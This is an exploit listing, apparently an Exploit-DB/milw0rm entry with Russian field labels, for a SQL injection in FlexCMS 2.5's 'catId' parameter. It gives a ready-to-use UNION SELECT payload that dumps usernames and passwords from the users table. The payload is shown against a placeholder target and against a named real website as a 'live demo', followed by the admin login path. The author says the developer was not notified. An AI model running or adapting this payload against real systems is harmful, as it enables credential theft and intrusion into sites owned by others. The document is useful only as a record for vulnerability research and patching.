Exploit FlexCMS 2.5 - 'catId' SQL Injection

[Exploiter]

EDB-ID

8018

Проверка EDB

1. Пройдено

Автор

MISTERRICHARD

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-1256 cve-2009-0534

Дата публикации

2009-02-09

AUTHOR: MisterRichard

FlexCMS Remote SQL Injection

Discovered by MisterRichard.

Developer site: http://www.flexcms.dk/

Developer has not been notified.

Live demo:

Injection: www.target.com/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users--

http://www.radikalungdom.dk/flx/webshop/?catId=145%20union%20all%20select%201,2,3,concat(username,char(58),password)+from+users--

Admin login site:

http://target.com/flexadmin/

Greetz, agonx, kollek, cardingnu

# milw0rm.com [2009-02-09]